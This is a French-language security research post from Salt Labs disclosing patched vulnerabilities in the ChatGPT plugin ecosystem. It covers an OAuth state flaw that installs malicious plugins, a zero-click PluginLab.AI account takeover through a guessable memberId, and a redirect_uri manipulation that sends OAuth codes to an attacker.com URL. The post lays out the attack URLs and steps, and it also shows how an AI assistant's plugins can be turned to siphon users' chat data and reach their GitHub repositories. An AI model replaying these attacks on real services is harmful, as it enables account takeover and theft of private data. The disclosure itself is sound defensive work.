Les chercheurs de Salt Labs ont identifié les écosystèmes d'IA générative comme un nouveau vecteur d'attaque intéressant. Les vulnérabilités découvertes lors de ces recherches sur l'écosystème ChatGPT auraient pu permettre d'accéder aux comptes des utilisateurs, y compris à leurs dépôts GitHub, via des attaques « 0-click ».
Introduction à ChatGPT
À moins d'avoir vécu dans une grotte ces douze derniers mois, vous avez probablement entendu parler des plateformes d'IA générative.
Les plateformes d'IA générative ont été révélées au grand public avec l'apparition de ChatGPT, une IA de pointe développée par OpenAI qui s'appuie sur un modèle LLM (Large Language Model) et permet d'interagir avec un service comme si vous parliez à un être humain.
Il comprend et répond aux questions, aide à accomplir diverses tâches, peut rédiger des histoires ou des articles, et générer des réponses qui ressemblent à une chanson d'Eminem ou à tout ce qui pourrait vous passer par la tête.
Lors de ses premières versions, ChatGPT et les autres frameworks d'IA générative ne contenaient que les données disponibles au moment de leur entraînement. Cela signifiait qu'il pouvait répondre à de nombreuses questions basées sur des données, mais qu'il ne pouvait pas consulter d'informations en temps réel. Si vous demandiez à ChatGPT : « À quelle heure jouent les Knicks ? », il répondait simplement : « Je ne dispose que d'informations sur les événements survenus jusqu'en 2021. » C'est tout à fait compréhensible compte tenu du fonctionnement des plateformes d'IA générative. Cependant, c'était aussi l'un des plus grands inconvénients de ces plateformes, car cela limitait considérablement les questions que vous pouviez leur poser.
Pour résoudre ces problèmes, toutes les grandes plateformes d'IA générative ont intégré le concept d'écosystème d'IA générative, qui permet la connexion et l'échange de données entre la plateforme d'IA et des services externes. Ces services peuvent aller d'une simple recherche sur Internet à une connexion avec des outils spécifiques comme GitHub, Google Drive, Salesforce, etc. Cela fait de ChatGPT non plus seulement un agent conversationnel, mais un outil puissant capable d'agir sur un large éventail de plateformes, rationalisant ainsi les flux de travail et offrant des expériences plus interactives et productives. À l'instar de la croissance massive de l'IA générative, ces connexions externes ont gagné beaucoup de terrain et se sont très rapidement développées (et continuent de croître) pour inclure des centaines de services tiers.
L'aspect sécurité
L'IA générative est une prouesse technologique majeure, et certains diraient même qu'il s'agit de l'avancée la plus importante en informatique au cours de la dernière décennie.
Et comme pour toute technologie, surtout lorsqu'elle est nouvelle, elle n'est pas sans risques.
De manière générale, les risques liés à ces plateformes peuvent provenir de plusieurs sources :
- Les risques associés à la plateforme d'IA générative elle-même, généralement dus à des bugs ou à des vulnérabilités de sécurité au sein de la plateforme principale.
Bien qu'il s'agisse encore d'un sujet de recherche récent et que la communauté de la sécurité n'ait pas encore réussi à couvrir l'ensemble du domaine, certains risques ont déjà été identifiés et publiés.
En voici quelques exemples avec deux vulnérabilités intéressantes découvertes récemment. La première est une recherche menée par Ron Masas d'Imperva, qui a révélé une faille XSS impressionnante au sein de ChatGPT.
Une autre vulnérabilité intéressante récemment révélée est une attaque par « cache deception » découverte par « Harel Security Research ».
Ces deux vulnérabilités peuvent être exploitées dès qu'une victime clique sur une URL malveillante, permettant ainsi à un attaquant de dérober des données sensibles aux utilisateurs de ChatGPT.
- Risques associés à l'écosystème de l'IA générative — généralement causés par des failles de sécurité dans le code reliant l'IA générative aux services externes, ou par des vulnérabilités présentes dans les services tiers eux-mêmes.
L'écosystème de l'IA générative nous semblant être un domaine relativement inexploré en matière de risques de sécurité, nous avons décidé de lancer un projet de recherche approfondi pour mettre en lumière les risques potentiels et les conséquences d'attaques réussies sur les écosystèmes de plateformes d'IA générative.
L'aspect sécurité des plugins ChatGPT
Comme à l'accoutumée chez Salt Labs, nos chercheurs choisissent une cible qu'ils connaissent bien, qu'ils apprécient et qu'ils utilisent au quotidien.
C'est pourquoi nous avons décidé d'explorer l'écosystème de ChatGPT. Nous sommes convaincus que nos conclusions sont pertinentes pour toute plateforme d'IA générative, mais afin de rester concentrés, nous avons limité le périmètre de notre recherche à ChatGPT.
Dans ChatGPT, l'écosystème de connexion aux services tiers est appelé « plugins ChatGPT » et, comme mentionné précédemment, il peut constituer une nouvelle surface d'attaque intéressante pour les pirates.
Lorsque vous utilisez ces plugins, vous autorisez ChatGPT à envoyer des données sensibles en votre nom vers un site tiers. Selon le plugin, vous lui donnez également accès à vos comptes privés sur Google Drive, GitHub, et plus encore.
L'image ci-dessus, extraite de ChatGPT, montre que si nous parvenons à identifier une vulnérabilité ici, cela exposera très probablement vos données sensibles, aussi bien dans ChatGPT que sur les sites tiers, à des risques.
Mais qu'est-ce qu'un plugin, au juste ?
C'est simple : un plugin est une application créée par des développeurs « inconnus ». Cependant, l'interface utilisateur reste celle de ChatGPT, ce qui donne aux utilisateurs un sentiment de cohérence (et de « sécurité »).
Note — un mot sur les GPT de ChatGPT
Nos recherches ont été menées en juillet 2023, à une époque où les « plugins ChatGPT » étaient la fonctionnalité phare, ce qui explique le sujet de cet article. Bien que les plugins restent très populaires, en novembre 2023, ChatGPT a introduit une nouvelle fonctionnalité : les GPT. Les GPT sont des versions personnalisées de ChatGPT que n'importe quel développeur peut publier. Ils incluent une option appelée « Action » qui permet de les connecter au monde extérieur. Le concept des actions GPT est similaire à celui des plugins, et nous explorerons une vulnérabilité découverte par l'équipe de Salt Labs dans plusieurs GPT tiers dans un prochain article.
Il est important de souligner qu'OpenAI a accompli un excellent travail sur la sécurité des GPT, apportant une amélioration majeure par rapport aux Plugins et résolvant bon nombre des problèmes décrits dans cet article.
À propos de nos recherches
La première partie de cette étude se concentre sur une vulnérabilité découverte directement dans ChatGPT, permettant à des attaquants d'installer des plugins malveillants sur les comptes des utilisateurs sans leur consentement.
La seconde partie de cet article propose une analyse de sécurité du concept de plugins, illustrée par la démonstration de deux vulnérabilités critiques de prise de contrôle de compte présentes dans des dizaines de plugins. L'objectif n'est pas de pointer du doigt un plugin tiers spécifique, mais d'analyser le concept dans sa globalité. Nous présentons ici des failles récurrentes que nous observons systématiquement sur de nombreux plugins. Nous sommes convaincus que certaines de ces vulnérabilités pourraient être évitées si les développeurs étaient mieux sensibilisés aux risques, et nous espérons que cet article contribuera à cet objectif. Nous appelons également OpenAI à mettre davantage l'accent sur la sécurité dans sa documentation destinée aux développeurs, un point que nous détaillerons lors de l'examen de notre troisième découverte.
La première vulnérabilité, située directement dans ChatGPT, permet à des attaquants d'installer des plugins malveillants sur les comptes des utilisateurs.
Pour comprendre cette première vulnérabilité, il faut d'abord expliquer le fonctionnement de l'authentification OAuth :
Imaginons que vous soyez Dan et que vous souhaitiez vous connecter à Example.com via votre compte Facebook. Que se passe-t-il lorsque vous cliquez sur « Se connecter avec Facebook » ?
Aux étapes 2 et 3 :
Une fois que Dan a cliqué sur « Se connecter avec Facebook », www.example.com ouvre une nouvelle fenêtre vers l'adresse suivante :
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://www.example.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token
Aux étapes 4 et 5 :
Facebook génère un jeton secret pour www.example.com et redirige le navigateur vers l'URL de redirection (le paramètre défini à l'étape 2). Voici la redirection exacte :
https://www.example.com/OAuth#token=[secret_token]
Aux étapes 6 et 7 :
www.example.com lit le jeton dans l'URL et l'utilise pour communiquer directement avec Facebook afin de finaliser l'authentification et de vérifier l'identité de Dan.
Remarque
La compréhension de l'URL des étapes 2 à 3 est facultative (vous pouvez ignorer cette partie). Cependant, si vous êtes curieux et souhaitez en savoir plus sur OAuth, vous pouvez lire nos explications complètes sur la manipulation de redirection OAuth, telles que nous les avons décrites lors de la prise de contrôle de compte sur Booking.com : https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com
Concentrons-nous sur l'étape 5 :
https://www.example.com/OAuth#token=[secret_token]
À cette étape, www.example.com reçoit le jeton et identifie l'utilisateur en fonction de celui-ci. Que se passera-t-il si l'attaquant envoie ce lien à une victime, mais avec ses propres identifiants (jeton) ?
Comme example.com est une application vulnérable qui ne vérifie pas que Dan a bien initié le flux OAuth, la victime (Dan) sera connectée en tant qu'attaquant sur Example.com :
Dans ce scénario, un attaquant peut manipuler ses victimes pour qu'elles se connectent à un site web avec ses propres identifiants !
Vous vous demandez peut-être, quel est le problème ? Et vous n'êtes pas seul ; beaucoup de développeurs OAuth pensent qu'il ne s'agit pas d'un problème de sécurité et ne se protègent donc pas contre ce type d'attaques.
Pour comprendre l'enjeu, je souhaite faire une démonstration avec ChatGPT.
Lorsqu'un utilisateur installe un plugin nécessitant une approbation OAuth, ChatGPT lance le flux suivant :
Étapes 1 et 2 :
Lorsqu'un utilisateur installe un nouveau plugin, ChatGPT le redirige vers le site web du plugin pour obtenir un code (qui, pour cet article, est identique à un jeton).
Étapes 3 à 5 :
L'utilisateur doit approuver le plugin. Une fois l'approbation donnée, le plugin génère un code et redirige l'utilisateur vers ChatGPT avec ce code.
Le plugin redirige l'utilisateur vers le lien suivant :
https://chat.openai.com/aip/{plugin_ID}/oauth/callback?code={secret_code}
Étapes 6 à 7 :
Lorsque ChatGPT reçoit le code, il installe automatiquement le plugin et peut interagir avec celui-ci au nom de l'utilisateur.
Tout message écrit par l'utilisateur dans ChatGPT peut être transmis au plugin.
Cela vous rappelle quelque chose ? Il s'agit du même schéma OAuth que www.example.com. L'étape 5 de l'installation du nouveau plugin est identique à l'étape 5 de l'authentification OAuth que nous venons de décrire.
Le problème et l'attaque :
ChatGPT ne vérifie pas si l'utilisateur a réellement initié l'installation du plugin.
Un attaquant peut envoyer le lien de l'étape 5 à une victime ; si celle-ci clique dessus, un nouveau plugin malveillant utilisant les identifiants de l'attaquant sera automatiquement installé sur le compte de la victime.
Tout nouveau message rédigé par la victime pourra être transféré au plugin.
Par exemple, l'attaquant peut envoyer le lien suivant (un lien légitime vers le domaine chatgpt.openai.com ) à une victime :
{malicious_plugin_id} est l'identifiant du plugin que l'attaquant souhaite installer sur le compte de la victime.
{attacker_code_from_malicious_plugin) est le code que l'attaquant a reçu de la part du plugin.
En cliquant sur ce lien, la victime installe un plugin malveillant, sans aucune confirmation.
L'impact
Un attaquant peut créer son propre plugin, configuré pour transmettre la quasi-totalité des données de chat à ce plugin. En exploitant ensuite une vulnérabilité dans ChatGPT, il peut installer ce plugin malveillant sur le compte d'une victime.
Étant donné que l'attaquant est le propriétaire de ce plugin, il peut consulter les données de chat privées de la victime, lesquelles peuvent inclure des identifiants, des mots de passe ou d'autres informations sensibles.
Dans la documentation des plugins ChatGPT, il est indiqué : « Avec le temps, nous prévoyons que le système évoluera pour prendre en charge des cas d'utilisation plus avancés ». Ainsi, à mesure que les plugins de ChatGPT continuent d'évoluer (désormais appelés GPTs), l'impact sécuritaire de telles vulnérabilités devient également plus significatif.
La mesure d'atténuation
Si vous implémentez OAuth et souhaitez vous protéger contre ce scénario, vous devez mettre en place un paramètre d'état (state parameter) tel que décrit dans la RFC OAuth :
Notez que ChatGPT avait bien implémenté un paramètre d'état, mais celui-ci n'était pas une valeur aléatoire et pouvait donc être deviné par l'attaquant.
La seconde vulnérabilité — Prise de contrôle de compte en 0-clic sur plusieurs plugins, permettant aux attaquants de prendre le contrôle du compte d'une organisation sur des sites tiers comme GitHub
Avant d'entrer dans les détails, nous souhaitons d'abord expliquer ce que signifie la prise de contrôle de compte sur un plugin.
Lorsque vous installez un plugin qui interagit avec votre compte GitHub, ce plugin crée pour vous un compte supplémentaire sur son propre site, où sont stockés vos identifiants GitHub. Grâce à ces identifiants, le plugin peut accéder à des dépôts privés contenant des secrets et du code source.
Si l'attaquant prend le contrôle de votre compte sur ce plugin, il peut alors accéder également à vos dépôts GitHub privés.
PluginLab
PluginLab (pluginlab.ai) est un framework utilisé par les développeurs et les entreprises pour créer des plugins pour ChatGPT.
Parmi les exemples de plugins développés avec PluginLab, on trouve ScholarAI, ChatOCR, KeyMateAI, ShowNotes, Perfect Chirp, et bien d'autres.
Dans notre exemple, nous utiliserons « AskTheCode », un plugin développé avec PluginLab.AI qui vous permet d'interroger vos dépôts GitHub. Cela signifie que les utilisateurs de ce plugin lui ont accordé un accès à leurs dépôts GitHub.
La prise de contrôle de compte sur AskTheCode signifie que les attaquants peuvent accéder aux dépôts GitHub de n'importe quel utilisateur utilisant ce plugin.
Dans l'image ci-dessous, nous démontrons comment nous avons pu accéder à un dépôt privé d'une victime, Dan Brown (moreisless3dan), en utilisant ChatGPT.
(La capture d'écran provient du compte de l'attaquant et montre comment il lit un fichier privé depuis le GitHub d'une victime)
Détails techniques — fonctionnement
Lorsqu'un utilisateur installe le plugin « AskTheCode » (ou tout autre plugin développé avec PluginLab.AI), ChatGPT lance le processus d'installation, dont voici les étapes principales :
- AskTheCode crée un nouveau compte pour l'utilisateur et lui demande l'autorisation d'accéder à son compte GitHub. AskTheCode enregistre les identifiants GitHub.
- AskTheCode génère un code pour ChatGPT.
- ChatGPT utilise ce code pour se connecter au compte de l'utilisateur sur AskTheCode.
- Plugin installé.
Pour plus de clarté, nous avons joint un diagramme illustrant ce processus :
Ce qu'il faut retenir du diagramme, c'est le « code », un secret transmis d'AskTheCode à ChatGPT. Vous pouvez considérer ce code comme un mot de passe que ChatGPT utilise pour se connecter au compte de Dan sur AskTheCode.
L'objectif de l'attaquant est de voler ce code pour prendre le contrôle du compte.
Il est intéressant de noter qu'après l'étape 3, AskTheCode effectue une requête depuis le navigateur du client vers https://auth.pluginlab.ai/oauth/authorize, afin de récupérer un code basé sur le memberId de l'utilisateur :
Et la réponse :
Ensuite, à l'étape 5, AskTheCode redirige l'utilisateur vers ChatGPT avec le code « 5e806… ». ChatGPT peut alors utiliser ce code pour effectuer des actions au nom de l'utilisateur dans AskTheCode (et par extension, sur GitHub).
Le problème et l'attaque :
https://auth.pluginlab.ai/oauth/authorized ne vérifie pas l'authenticité de la requête, ce qui signifie qu'un attaquant peut insérer un autre memberId (celui de la victime) et obtenir un code correspondant à cette victime. Avec ce code, il peut utiliser ChatGPT pour accéder au compte GitHub de la victime.
La seule chose dont l'attaquant a besoin est le memberId de la victime.
Cela peut être réalisé en utilisant le point de terminaison https://auth.pluginlab.ai/members/requestMagicEmailCode.
Ce point de terminaison reçoit une adresse e-mail et renvoie (sans raison apparente) le memberID, parmi d'autres données :
Le déroulement de l'attaque :
Supposons que nous disposions de l'adresse e-mail d'une victime :
- L'attaquant utilise le point de terminaison https://auth.pluginlab.ai/members/requestMagicEmailCode pour obtenir le memberID de n'importe quel utilisateur (victime) ciblé.
Notez que le memberID correspond simplement au hash SHA1 de l'adresse e-mail ; l'attaquant peut donc calculer lui-même cette valeur SHA1 au lieu d'appeler cette API.
- Une fois en possession de l'identifiant de la victime, l'attaquant se rend sur ChatGPT, installe le plugin « AskTheCode » sur son compte et intercepte la requête vers https://auth.pluginlab.ai/oauth/authorized.
Dans la requête vers https://auth.pluginlab.ai/oauth/authorized, au lieu d'envoyer son propre memberID, l'attaquant utilise la valeur de hachage obtenue à l'étape précédente et reçoit un code correspondant à la victime.
- L'attaquant transmet ensuite ce code à ChatGPT.
- L'attaquant peut désormais accéder à tous les dépôts de la victime, car il vient d'installer AskTheCode avec le compte de la victime sur son propre compte ChatGPT. Par exemple, l'attaquant peut demander : « Donne-moi la liste de tous les dépôts privés ». ChatGPT enverra ce message à AskTheCode, qui se connectera au dépôt GitHub de la victime pour récupérer les données.
(Notez que l'attaquant peut communiquer directement avec le plugin, même sans utiliser ChatGPT.)
Remarque :
Il s'agit d'une attaque « zero-click ». L'attaquant peut prendre le contrôle du compte sans avoir à envoyer de lien à ses victimes.
Comme nous l'avons mentionné précédemment, la vulnérabilité ne réside pas dans AskTheCode, mais dans PluginLab.AI, et elle a affecté des dizaines d'autres plugins utilisant le framework PluginLab.AI.
Tous les problèmes décrits dans cet article ont été signalés à PluginLab.AI, et l'entreprise a agi très rapidement pour les corriger et les neutraliser complètement.
Des vulnérabilités de sécurité peuvent survenir dans n'importe quelle application, c'est la réactivité qui compte. Nous saluons la réaction de PluginLab.
Voici leur réponse :
« Dès que nous avons été alertés de vos découvertes, nous avons immédiatement lancé une enquête interne. Je suis soulagé de vous informer que, selon nos conclusions, aucune donnée utilisateur n'a été compromise suite à la vulnérabilité identifiée. Chez PluginLab, la sécurité et l'intégrité des données de nos clients sont primordiales. Nous sommes heureux de vous confirmer que le problème que vous avez souligné a été rapidement traité et résolu, renforçant ainsi la sécurité de notre plateforme. »
Ils ont également envoyé un avis à leurs utilisateurs, précisant qu'aucun utilisateur n'a été impacté et qu'aucune donnée critique n'a été compromise.
Le troisième type de vulnérabilité : la manipulation de redirection OAuth
Il s'agit d'une vulnérabilité OAuth classique que nous avons trouvée dans plusieurs plugins, mais nous utiliserons le plugin Kesem AI comme simple exemple.
L'impact de cette vulnérabilité est similaire à celui de PluginLab.AI : il s'agit d'une prise de contrôle de compte sur le plugin lui-même. Contrairement à PluginLab.AI qui ne nécessite aucune interaction de l'utilisateur, cette vulnérabilité oblige l'attaquant à envoyer un lien à la victime.
Détails techniques
Lorsqu'un utilisateur installe le plugin « Charts by Kesem AI », ChatGPT lance le flux suivant :
- Redirection de l'utilisateur vers kesem.ai pour récupérer un code OAuth :
https://app.kesem.ai/login?response_type=code&client_id=474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com&redirect_uri=https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3 - Kesem.ai authentifie l'utilisateur via Google/Microsoft ou par e-mail, puis génère un code.
- Kesem.ai transfère le code vers l'URL de redirection (redirect_uri) de l'étape 1 :
https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ….
Le problème :
https://app.kesem.ai/login ne valide pas l'URL de redirection, ce qui permet à un attaquant d'insérer une URL malveillante pour dérober les identifiants de l'utilisateur.
Le déroulement de l'attaque :
- L'attaquant envoie le lien suivant à une victime :
https://app.kesem.ai/login?response_type=code&client_id=474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com&redirect_uri=https://attacker.com&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3
- Lorsque la victime clique sur ce lien, Kesem.ai transfère automatiquement le code vers l'URL de redirection de l'étape 1 :
https://attacker.com?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ….
Tout comme dans le cas de Pluginab.ai, l'attaquant obtient les identifiants (le code) de la victime et peut prendre le contrôle de son compte de la même manière.
Qu'en est-il des autres plugins ?
Malheureusement, kesem.ai n'est qu'un exemple parmi d'autres que nous utilisons ici.
Nous avons découvert cette même vulnérabilité dans d'autres extensions et nous souhaitons sensibiliser la communauté et encourager les développeurs à accorder une attention particulière à OAuth et au paramètre redirect_uri.
Nous avons également trouvé des extensions qui vérifient bien le redirect_uri, mais uniquement le domaine et non le chemin d'accès. Cette approche est toutefois vulnérable, car un attaquant peut modifier le chemin pour le rediriger vers sa propre extension malveillante et dérober le code.
La documentation de ChatGPT explique comment mettre en œuvre ce flux, mais sans mettre l'accent sur la sécurité.
Il serait judicieux qu'OpenAI améliore sa documentation, aussi bien pour les Plugins (https://platform.openai.com/docs/plugins/authentication) que pour les Actions (https://platform.openai.com/docs/actions/authentication), en ajoutant une mention à l'attention des développeurs pour souligner l'importance de sécuriser le redirect_uri.
Qu'en est-il des GPTs de ChatGPT ?
Comme nous l'avons mentionné précédemment, les GPTs constituent l'évolution des Plugins. Vous pouvez en apprendre davantage sur cette fonctionnalité ici : https://openai.com/blog/introducing-gpts
Il s'agit essentiellement du même concept que les plugins, mais avec des protocoles de sécurité renforcés.
OpenAI a mis en place des mesures appropriées pour informer et avertir l'utilisateur chaque fois que des données sont transmises depuis ChatGPT vers un fournisseur tiers, renforçant ainsi considérablement la vigilance de l'utilisateur :
En conclusion, les GPTs représentent une amélioration significative de la sécurité par rapport aux Plugins, répondant efficacement à la plupart des préoccupations soulevées dans cette discussion. Néanmoins, les utilisateurs doivent rester vigilants face aux risques potentiels.
Planifiez une démo personnalisée ou contactez-nous pour découvrir comment Salt peut aider à protéger votre organisation contre les risques liés aux API.
Mais les GPTs résolvent-ils totalement ce problème ? Restez à l'écoute pour notre prochain article (indice : la réponse est non :)
Chronologie de la divulgation
Nous avons suivi la chronologie suivante dans le cadre de ce processus de divulgation coordonnée. Nous remercions à nouveau ChatGPT, PluginLab.AI et Kesem.ai d'avoir pris les mesures nécessaires pour corriger ces vulnérabilités critiques.
- Salt Labs découvre la vulnérabilité dans ChatGPT : 25 juin 2023
- Salt Labs communique les détails techniques à ChatGPT : 10 juillet 2023
- Salt Labs découvre et communique les détails techniques à PluginLab.AI et KesemAI : septembre 2023
- Une fois les vulnérabilités corrigées par tous les fournisseurs, Salt Labs transmet à OpenAI, PluginLab.AI et Kesem.ai cet article technique détaillant les failles : 27 février 2024
- L'équipe marketing de Salt partage une ébauche de l'article et du communiqué de presse avec les équipes marketing de chaque entreprise : 27 février 2024
- Salt publie l'article et le communiqué de presse : 13 mars 2024